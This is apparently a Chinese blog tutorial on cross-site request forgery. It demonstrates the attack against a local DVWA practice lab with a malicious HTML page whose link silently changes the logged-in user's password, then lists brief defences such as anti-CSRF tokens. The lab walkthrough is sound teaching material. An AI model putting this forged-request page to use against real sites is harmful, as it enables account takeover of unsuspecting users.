简述CSRF请求跨站伪造

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了简述CSRF请求跨站伪造相关的知识,希望对你有一定的参考价值。

首先什么是CSRF:


技术分享图片


如图:

    1,用户通过浏览器正常访问带有CSRF漏洞的网站。


        如我去访问http://127.0.0.1:8080/DVWA/login.php

        技术分享图片


        我们登录进去账号是:admin 密码是:password,找到一个修改密码的地方

        技术分享图片

        修改密码为123456,修改的url是:

        http://127.0.0.1:8080/DVWA/vulnerabilities/csrf/password_new=123456&password_conf=123456&Change=Change#

        技术分享图片

        

    2,我们构造恶意网站B将代码保存为index.html

<html>
	<head>
	
	<title>这是恶意网页</title>
	</head>
	
	<body>
	<h1>这是恶意网页<h1>
	<a href="http://127.0.0.1:8080/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#">攻击</a> 
	
	</body>

</html>

        我们访问网站B:点击攻击

        技术分享图片

     

        我们可以看到密码被改了(改成了password)

        技术分享图片


防御:

   1.尽量使用POST,限制GET

   2.浏览器Cookie策略

   3.Anti CSRF Token




微信公众号:

技术分享图片


以上是关于简述CSRF请求跨站伪造的主要内容,如果未能解决你的问题,请参考以下文章

21)django-csrf(跨站请求伪造)

DVWA——CSRF 跨站请求伪造

CSRF(跨站请求伪造)

CSRF跨站请求伪造的安全防护

DVWA之跨站请求伪造(CSRF)

CSRF(跨站请求伪造)在 Laravel 中无法正常工作